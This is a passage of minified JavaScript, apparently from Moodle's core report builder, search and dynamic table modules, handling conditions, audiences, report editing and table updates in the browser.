_pending.default(&quot;core_reportbuilder/conditions:remove&quot;);return(0,_conditions.deleteCondition)(reportElement.dataset.reportId,conditionContainer.dataset.conditionId).then((data=&gt;reloadSettingsConditionsRegion(reportElement,data))).then((()=&gt;(0,_toast.add)((0,_str.get_string)(&quot;conditiondeleted&quot;,&quot;core_reportbuilder&quot;,conditionName)))).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)})).catch((()=&gt;{}))}})),new _sortable_list.default(&quot;&quot;.concat(reportSelectors.regions.activeConditions),{isHorizontal:!1}).getElementName=element=&gt;Promise.resolve(element.data(&quot;conditionName&quot;)),(0,_jquery.default)(document).on(_sortable_list.default.EVENTS.DROP,reportSelectors.regions.activeCondition,((event,info)=&gt;{if(info.positionChanged){const pendingPromise=new _pending.default(&quot;core_reportbuilder/conditions:reorder&quot;),reportElement=event.target.closest(reportSelectors.regions.report),conditionId=info.element.data(&quot;conditionId&quot;),conditionPosition=info.element.data(&quot;conditionPosition&quot;);let targetConditionPosition=info.targetNextElement.data(&quot;conditionPosition&quot;)||info.element.siblings().length+2;targetConditionPosition&gt;conditionPosition&amp;&amp;targetConditionPosition--,(0,_conditions.reorderCondition)(reportElement.dataset.reportId,conditionId,targetConditionPosition).then((data=&gt;reloadSettingsConditionsRegion(reportElement,data))).then((()=&gt;(0,_str.get_string)(&quot;conditionmoved&quot;,&quot;core_reportbuilder&quot;,info.element.data(&quot;conditionName&quot;)))).then(_toast.add).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)}})))}}));
define(&quot;core_reportbuilder/audience&quot;,[&quot;exports&quot;,&quot;core/inplace_editable&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core_form/dynamicform&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/repository/audiences&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core/fragment&quot;,&quot;core_form/changechecker&quot;],(function(_exports,_inplace_editable,_templates,_notification,_pending,_prefetch,_str,_dynamicform,_toast,_audiences,reportSelectors,_fragment,_changechecker){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_templates=_interopRequireDefault(_templates),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_dynamicform=_interopRequireDefault(_dynamicform),reportSelectors=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(reportSelectors);let reportId=0,contextId=0;const initAudienceCardForm=audienceCard=&gt;{const audienceFormContainer=audienceCard.querySelector(reportSelectors.regions.audienceFormContainer),audienceForm=new _dynamicform.default(audienceFormContainer,&quot;\\core_reportbuilder\\form\\audience&quot;);return audienceForm.addEventListener(audienceForm.events.FORM_SUBMITTED,(data=&gt;{const audienceHeading=audienceCard.querySelector(reportSelectors.regions.audienceHeading),audienceDescription=audienceCard.querySelector(reportSelectors.regions.audienceDescription);return audienceCard.dataset.instanceid=data.detail.instanceid,audienceHeading.innerHTML=data.detail.heading,audienceDescription.innerHTML=data.detail.description,closeAudienceCardForm(audienceCard),(0,_str.get_string)(&quot;audiencesaved&quot;,&quot;core_reportbuilder&quot;).then(_toast.add)})),audienceForm.addEventListener(audienceForm.events.FORM_CANCELLED,(()=&gt;{audienceCard.dataset.instanceid&gt;0?closeAudienceCardForm(audienceCard):removeAudienceCard(audienceCard)})),audienceForm},closeAudienceCardForm=audienceCard=&gt;{const audienceFormContainer=audienceCard.querySelector(reportSelectors.regions.audienceFormContainer),NewAudienceFormContainer=audienceFormContainer.cloneNode(!1);audienceCard.querySelector(reportSelectors.regions.audienceForm).replaceChild(NewAudienceFormContainer,audienceFormContainer),audienceCard.querySelector(reportSelectors.regions.audienceDescription).classList.remove(&quot;hidden&quot;),audienceCard.querySelector(reportSelectors.actions.audienceEdit).disabled=!1,audienceCard.querySelector(reportSelectors.actions.audienceDelete).disabled=!1},removeAudienceCard=audienceCard=&gt;{audienceCard.remove();const audienceCards=document.querySelector(reportSelectors.regions.audiencesContainer).querySelectorAll(reportSelectors.regions.audienceCard);if(0===audienceCards.length){document.querySelector(reportSelectors.regions.audienceEmptyMessage).classList.remove(&quot;hidden&quot;)}else{const audienceFirstCardSeparator=audienceCards[0].querySelector(&quot;.audience-separator&quot;);null==audienceFirstCardSeparator||audienceFirstCardSeparator.remove()}};let initialized=!1;_exports.init=(id,contextid)=&gt;{(0,_prefetch.prefetchStrings)(&quot;core_reportbuilder&quot;,[&quot;audienceadded&quot;,&quot;audiencedeleted&quot;,&quot;audiencesaved&quot;,&quot;deleteaudience&quot;,&quot;deleteaudienceconfirm&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;delete&quot;]),reportId=id,contextId=contextid,initialized||(document.addEventListener(&quot;click&quot;,(event=&gt;{const audienceAdd=event.target.closest(reportSelectors.actions.audienceAdd);audienceAdd&amp;&amp;(event.preventDefault(),((className,title)=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/audience:add&quot;),audiencesContainer=document.querySelector(reportSelectors.regions.audiencesContainer),audienceCardLength=audiencesContainer.querySelectorAll(reportSelectors.regions.audienceCard).length,params={classname:className,reportid:reportId,showormessage:audienceCardLength&gt;0,title:title};(0,_fragment.loadFragment)(&quot;core_reportbuilder&quot;,&quot;audience_form&quot;,contextId,params).then(((html,js)=&gt;{const audienceCard=_templates.default.appendNodeContents(audiencesContainer,html,js)[0],audienceEmptyMessage=audiencesContainer.querySelector(reportSelectors.regions.audienceEmptyMessage),audienceForm=initAudienceCardForm(audienceCard);return(0,_changechecker.markFormAsDirty)(audienceForm.getFormNode()),audienceEmptyMessage.classList.add(&quot;hidden&quot;),(0,_str.get_string)(&quot;audienceadded&quot;,&quot;core_reportbuilder&quot;,title)})).then(_toast.add).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)})(audienceAdd.dataset.uniqueIdentifier,audienceAdd.dataset.name));const audienceEdit=event.target.closest(reportSelectors.actions.audienceEdit);if(audienceEdit){const audienceEditCard=audienceEdit.closest(reportSelectors.regions.audienceCard);event.preventDefault(),(audienceCard=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/audience:edit&quot;);initAudienceCardForm(audienceCard).load({id:audienceCard.dataset.instanceid}).then((()=&gt;{const audienceFormContainer=audienceCard.querySelector(reportSelectors.regions.audienceFormContainer),audienceDescription=audienceCard.querySelector(reportSelectors.regions.audienceDescription),audienceEdit=audienceCard.querySelector(reportSelectors.actions.audienceEdit);return audienceFormContainer.classList.remove(&quot;hidden&quot;),audienceDescription.classList.add(&quot;hidden&quot;),audienceEdit.disabled=!0,pendingPromise.resolve()})).catch(_notification.default.exception)})(audienceEditCard)}const audienceDelete=event.target.closest(reportSelectors.actions.audienceDelete);audienceDelete&amp;&amp;(event.preventDefault(),(audienceDelete=&gt;{const audienceCard=audienceDelete.closest(reportSelectors.regions.audienceCard),audienceTitle=audienceCard.dataset.title;_notification.default.saveCancelPromise((0,_str.get_string)(&quot;deleteaudience&quot;,&quot;core_reportbuilder&quot;,audienceTitle),(0,_str.get_string)(&quot;deleteaudienceconfirm&quot;,&quot;core_reportbuilder&quot;,audienceTitle),(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),{triggerElement:audienceDelete}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/audience:delete&quot;);return(0,_audiences.deleteAudience)(reportId,audienceCard.dataset.instanceid).then((()=&gt;(0,_toast.add)((0,_str.get_string)(&quot;audiencedeleted&quot;,&quot;core_reportbuilder&quot;,audienceTitle)))).then((()=&gt;(removeAudienceCard(audienceCard),pendingPromise.resolve()))).catch(_notification.default.exception)})).catch((()=&gt;{}))})(audienceDelete))})),initialized=!0)}}));
define(&quot;core_reportbuilder/editor&quot;,[&quot;exports&quot;,&quot;core/inplace_editable&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/editor/columns&quot;,&quot;core_reportbuilder/local/editor/conditions&quot;,&quot;core_reportbuilder/local/editor/filters&quot;,&quot;core_reportbuilder/local/editor/sorting&quot;,&quot;core_reportbuilder/local/editor/card_view&quot;,&quot;core_reportbuilder/local/repository/reports&quot;,&quot;core_reportbuilder/local/repository/modals&quot;],(function(_exports,_inplace_editable,_notification,_pending,_templates,_str,_toast,reportSelectors,_columns,_conditions,_filters,_sorting,_card_view,_reports,_modals){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_templates=_interopRequireDefault(_templates),reportSelectors=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(reportSelectors);let initialized=!1;_exports.init=()=&gt;{(0,_columns.init)(initialized),(0,_conditions.init)(initialized),(0,_filters.init)(initialized),(0,_sorting.init)(initialized),(0,_card_view.init)(initialized),initialized||(document.addEventListener(&quot;click&quot;,(event=&gt;{const toggleEditViewMode=event.target.closest(reportSelectors.actions.toggleEditPreview);if(toggleEditViewMode){event.preventDefault();const reportElement=event.target.closest(reportSelectors.regions.report),pendingPromise=new _pending.default(&quot;core_reportbuilder/reports:get&quot;),toggledEditMode=&quot;1&quot;!==toggleEditViewMode.dataset.editMode;let customjs=&quot;&quot;;(0,_reports.getReport)(reportElement.dataset.reportId,toggledEditMode).then((response=&gt;(customjs=response.javascript,_templates.default.render(&quot;core_reportbuilder/local/dynamictabs/editor&quot;,response)))).then(((html,js)=&gt;_templates.default.replaceNode(reportElement,html,js+customjs))).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)}const reportEdit=event.target.closest(reportSelectors.actions.reportEdit);if(reportEdit){event.preventDefault();const reportModal=(0,_modals.createReportModal)(event.target,(0,_str.get_string)(&quot;editreportdetails&quot;,&quot;core_reportbuilder&quot;),reportEdit.dataset.reportId);reportModal.addEventListener(reportModal.events.FORM_SUBMITTED,(()=&gt;{(0,_str.get_string)(&quot;reportupdated&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).then((()=&gt;window.location.reload())).catch(_notification.default.exception)})),reportModal.show()}})),initialized=!0)}}));
define(&quot;core_reportbuilder/reports_list&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/reports&quot;,&quot;core_reportbuilder/local/repository/modals&quot;],(function(_exports,_event_dispatcher,_notification,_pending,_prefetch,_str,_toast,reportEvents,reportSelectors,_reports,_modals){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);_exports.init=()=&gt;{(0,_prefetch.prefetchStrings)(&quot;core_reportbuilder&quot;,[&quot;deletereport&quot;,&quot;deletereportconfirm&quot;,&quot;editreportdetails&quot;,&quot;newreport&quot;,&quot;reportdeleted&quot;,&quot;reportupdated&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;delete&quot;]),document.addEventListener(&quot;click&quot;,(event=&gt;{if(event.target.closest(reportSelectors.actions.reportCreate)){event.preventDefault();const reportModal=(0,_modals.createReportModal)(event.target,(0,_str.get_string)(&quot;newreport&quot;,&quot;core_reportbuilder&quot;));reportModal.addEventListener(reportModal.events.FORM_SUBMITTED,(event=&gt;{window.location.href=event.detail})),reportModal.show()}const reportEdit=event.target.closest(reportSelectors.actions.reportEdit);if(reportEdit){event.preventDefault();const triggerElement=reportEdit.closest(&quot;.dropdown&quot;).querySelector(&quot;.dropdown-toggle&quot;),reportModal=(0,_modals.createReportModal)(triggerElement,(0,_str.get_string)(&quot;editreportdetails&quot;,&quot;core_reportbuilder&quot;),reportEdit.dataset.reportId);reportModal.addEventListener(reportModal.events.FORM_SUBMITTED,(()=&gt;{const reportElement=event.target.closest(reportSelectors.regions.report);(0,_str.get_string)(&quot;reportupdated&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).then((()=&gt;{(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preservePagination:!0},reportElement)})).catch(_notification.default.exception)})),reportModal.show()}const reportDelete=event.target.closest(reportSelectors.actions.reportDelete);if(reportDelete){event.preventDefault();const triggerElement=reportDelete.closest(&quot;.dropdown&quot;).querySelector(&quot;.dropdown-toggle&quot;);_notification.default.saveCancelPromise((0,_str.get_string)(&quot;deletereport&quot;,&quot;core_reportbuilder&quot;),(0,_str.get_string)(&quot;deletereportconfirm&quot;,&quot;core_reportbuilder&quot;,reportDelete.dataset.reportName),(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),{triggerElement:triggerElement}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/reports:delete&quot;),reportElement=event.target.closest(reportSelectors.regions.report);return(0,_reports.deleteReport)(reportDelete.dataset.reportId).then((()=&gt;(0,_toast.add)((0,_str.get_string)(&quot;reportdeleted&quot;,&quot;core_reportbuilder&quot;)))).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preservePagination:!0},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)})).catch((()=&gt;{}))}}))}}));
define(&quot;core_reportbuilder/sidebar&quot;,[&quot;exports&quot;,&quot;core/pending&quot;,&quot;core/utils&quot;,&quot;core_reportbuilder/local/selectors&quot;],(function(_exports,_pending,_utils,reportSelectors){var obj;
/**
   * Report builder sidebar component
   *
   * @module      core_reportbuilder/sidebar
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_pending=(obj=_pending)&amp;&amp;obj.__esModule?obj:{default:obj},reportSelectors=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(reportSelectors);const CLASSES_EXPANDED=&quot;show&quot;,CLASSES_COLLAPSED=&quot;collapsed&quot;,CLASSES_HIDE=&quot;d-none&quot;,sidebarCardFilter=(event,sidebarMenu)=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/sidebar:cardFilter&quot;),sidebarCards=sidebarMenu.querySelectorAll(reportSelectors.regions.sidebarCard),sidebarItems=sidebarMenu.querySelectorAll(reportSelectors.regions.sidebarItem),searchTerm=event.target.value.toLowerCase();sidebarItems.forEach((item=&gt;{const itemContent=item.textContent.toLowerCase();item.classList.toggle(CLASSES_HIDE,!itemContent.includes(searchTerm))})),sidebarCards.forEach((card=&gt;{const visibleItems=card.querySelectorAll(&quot;&quot;.concat(reportSelectors.regions.sidebarItem,&quot;:not(.&quot;).concat(CLASSES_HIDE,&quot;)&quot;));card.classList.toggle(CLASSES_HIDE,!visibleItems.length),expandCard(card)})),pendingPromise.resolve()},expandCard=card=&gt;{let cardButton=card.querySelector(&#039;[data-toggle=&quot;collapse&quot;]&#039;);if(cardButton.classList.contains(CLASSES_COLLAPSED)){cardButton.classList.remove(CLASSES_COLLAPSED),cardButton.setAttribute(&quot;aria-expanded&quot;,&quot;true&quot;),card.querySelector(cardButton.dataset.target).classList.add(CLASSES_EXPANDED)}};_exports.init=selectorId=&gt;{const sidebarMenu=document.querySelector(selectorId+reportSelectors.regions.sidebarMenu);sidebarMenu.querySelector(reportSelectors.actions.sidebarSearch).addEventListener(&quot;keyup&quot;,(event=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/sidebar:keyup&quot;);(0,_utils.debounce)(sidebarCardFilter,250)(event,sidebarMenu),setTimeout((()=&gt;{pendingPromise.resolve()}),250)}))}}));
/**
 * Search user selector module.
 *
 * @module core_search/form-search-user-selector
 * @copyright 2017 The Open University
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_search/form-search-user-selector&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,Ajax,Templates){return{processResults:function(selector,results){var users=[];return $.each(results,(function(index,user){users.push({value:user.id,label:user._label})})),users},transport:function(selector,query,success,failure){var args={query:query},courseid=$(selector).attr(&quot;withincourseid&quot;);void 0!==courseid&amp;&amp;&quot;&quot;!==$(&quot;#id_searchwithin&quot;).val()?args.courseid=courseid:args.courseid=0,Ajax.call([{methodname:&quot;core_search_get_relevant_users&quot;,args:args}])[0].then((function(results){var promises=[];return $.each(results,(function(index,user){promises.push(Templates.render(&quot;core_search/form-user-selector-suggestion&quot;,user))})),$.when.apply($.when,promises).then((function(){var args=arguments,i=0;$.each(results,(function(index,user){user._label=args[i++]})),success(results)}))})).fail(failure)}}}));
define(&quot;core_table/dynamic&quot;,[&quot;exports&quot;,&quot;core_table/local/dynamic/selectors&quot;,&quot;./local/dynamic/events&quot;,&quot;core/pending&quot;,&quot;core/loadingicon&quot;,&quot;core_table/local/dynamic/repository&quot;,&quot;core/notification&quot;],(function(_exports,Selectors,_events,_pending,_loadingicon,_repository,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;Events&quot;,{enumerable:!0,get:function(){return _events.default}}),_exports.updateTable=_exports.showColumn=_exports.setSortOrder=_exports.setPageSize=_exports.setPageNumber=_exports.setLastInitial=_exports.setFirstInitial=_exports.setFilters=_exports.refreshTableContent=_exports.init=_exports.hideColumn=_exports.getTableFromId=_exports.getPageSize=_exports.getPageNumber=_exports.getLastInitial=_exports.getFirstInitial=_exports.getFilters=void 0,Selectors=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * Module to handle dynamic table features.
   *
   * @module     core_table/dynamic
   * @copyright  2020 Simey Lameze &lt;simey@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(Selectors),_events=_interopRequireDefault(_events),_pending=_interopRequireDefault(_pending),_notification=_interopRequireDefault(_notification);let watching=!1;const checkTableIsDynamic=tableRoot=&gt;{if(!tableRoot)throw new Error(&quot;The table specified is not a dynamic table and cannot be updated&quot;);if(!tableRoot.matches(Selectors.main.region))throw new Error(&quot;The table specified is not a dynamic table and cannot be updated&quot;);return!0},getFiltersetFromTable=tableRoot=&gt;JSON.parse(tableRoot.dataset.tableFilters),refreshTableContent=function(tableRoot){let resetContent=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1];const filterset=getFiltersetFromTable(tableRoot);(0,_loadingicon.addIconToContainer)(tableRoot);const pendingPromise=new _pending.default(&quot;core_table/dynamic:refreshTableContent&quot;);return(0,_repository.fetch)(tableRoot.dataset.tableComponent,tableRoot.dataset.tableHandler,tableRoot.dataset.tableUniqueid,{sortData:JSON.parse(tableRoot.dataset.tableSortData),joinType:filterset.jointype,filters:filterset.filters,firstinitial:tableRoot.dataset.tableFirstInitial,lastinitial:tableRoot.dataset.tableLastInitial,pageNumber:tableRoot.dataset.tablePageNumber,pageSize:tableRoot.dataset.tablePageSize,hiddenColumns:JSON.parse(tableRoot.dataset.tableHiddenColumns)},resetContent).then((data=&gt;{const placeholder=document.createElement(&quot;div&quot;);return placeholder.innerHTML=data.html,tableRoot.replaceWith(...placeholder.childNodes),getTableFromId(tableRoot.dataset.tableUniqueid)})).then((tableRoot=&gt;(tableRoot.dispatchEvent(new CustomEvent(_events.default.tableContentRefreshed,{bubbles:!0})),tableRoot))).then((tableRoot=&gt;(pendingPromise.resolve(),tableRoot)))};_exports.refreshTableContent=refreshTableContent;const updateTable=function(tableRoot){let{sortBy:sortBy=null,sortOrder:sortOrder=null,filters:filters=null,firstInitial:firstInitial=null,lastInitial:lastInitial=null,pageNumber:pageNumber=null,pageSize:pageSize=null,hiddenColumns:hiddenColumns=null}=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{},refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];checkTableIsDynamic(tableRoot);const pendingPromise=new _pending.default(&quot;core_table/dynamic:updateTable&quot;);let tableConfigChanged=!1;if(sortBy&amp;&amp;sortOrder){tableConfigChanged=!0;const sortData=JSON.parse(tableRoot.dataset.tableSortData);sortData.unshift({sortby:sortBy,sortorder:parseInt(sortOrder,10)}),tableRoot.dataset.tableSortData=JSON.stringify(sortData)}if(null!==firstInitial&amp;&amp;(tableRoot.dataset.tableFirstInitial!==firstInitial&amp;&amp;(tableConfigChanged=!0),tableRoot.dataset.tableFirstInitial=firstInitial),null!==lastInitial&amp;&amp;(tableRoot.dataset.tableLastInitial!==lastInitial&amp;&amp;(tableConfigChanged=!0),tableRoot.dataset.tableLastInitial=lastInitial),null!==pageSize&amp;&amp;(tableRoot.dataset.tablePageSize!=pageSize&amp;&amp;(tableConfigChanged=!0),tableRoot.dataset.tablePageSize=pageSize),filters){const filterJson=JSON.stringify(filters);tableRoot.dataset.tableFilters!==filterJson&amp;&amp;(tableConfigChanged=!0),tableRoot.dataset.tableFilters=filterJson}if(tableConfigChanged&amp;&amp;(pageNumber=1),hiddenColumns){const columnJson=JSON.stringify(hiddenColumns);tableRoot.dataset.tableHiddenColumns!==columnJson&amp;&amp;(tableConfigChanged=!0),tableRoot.dataset.tableHiddenColumns=columnJson}return null!==pageNumber&amp;&amp;(tableRoot.dataset.tablePageNumber!=pageNumber&amp;&amp;(tableConfigChanged=!0),tableRoot.dataset.tablePageNumber=pageNumber),refreshContent&amp;&amp;tableConfigChanged?refreshTableContent(tableRoot).then((tableRoot=&gt;(pendingPromise.resolve(),tableRoot))):(pendingPromise.resolve(),Promise.resolve(tableRoot))};_exports.updateTable=updateTable;const getTableData=tableRoot=&gt;(checkTableIsDynamic(tableRoot),tableRoot.dataset);_exports.setFilters=function(tableRoot,filters){let refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];return updateTable(tableRoot,{filters:filters},refreshContent)};_exports.getFilters=tableRoot=&gt;(checkTableIsDynamic(tableRoot),getFiltersetFromTable(tableRoot));const setSortOrder=function(tableRoot,sortBy,sortOrder){let refreshContent=!(arguments.length&gt;3&amp;&amp;void 0!==arguments[3])||arguments[3];return updateTable(tableRoot,{sortBy:sortBy,sortOrder:sortOrder},refreshContent)};_exports.setSortOrder=setSortOrder;const setPageNumber=function(tableRoot,pageNumber){let refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];return updateTable(tableRoot,{pageNumber:pageNumber},refreshContent)};_exports.setPageNumber=setPageNumber;_exports.getPageNumber=tableRoot=&gt;getTableData(tableRoot).tablePageNumber;const setPageSize=function(tableRoot,pageSize){let refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];return updateTable(tableRoot,{pageSize:pageSize,pageNumber:1},refreshContent)};_exports.setPageSize=setPageSize;_exports.getPageSize=tableRoot=&gt;getTableData(tableRoot).tablePageSize;const setFirstInitial=function(tableRoot,firstInitial){let refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];return updateTable(tableRoot,{firstInitial:firstInitial},refreshContent)};_exports.setFirstInitial=setFirstInitial;_exports.getFirstInitial=tableRoot=&gt;getTableData(tableRoot).tableFirstInitial;const setLastInitial=function(tableRoot,lastInitial){let refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];return updateTable(tableRoot,{lastInitial:lastInitial},refreshContent)};_exports.setLastInitial=setLastInitial;_exports.getLastInitial=tableRoot=&gt;getTableData(tableRoot).tableLastInitial;const hideColumn=function(tableRoot,columnToHide){let refreshContent=!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2];const hiddenColumns=JSON.parse(tableRoot.dataset.tableHiddenColumns);return hiddenColumns.push(columnToHide),updateTable(tableRoot,{hiddenColumns:hiddenColumns},refreshContent)};_exports.hideColumn=hideColumn;const showColumn=function(tableRoot,columnToShow){let 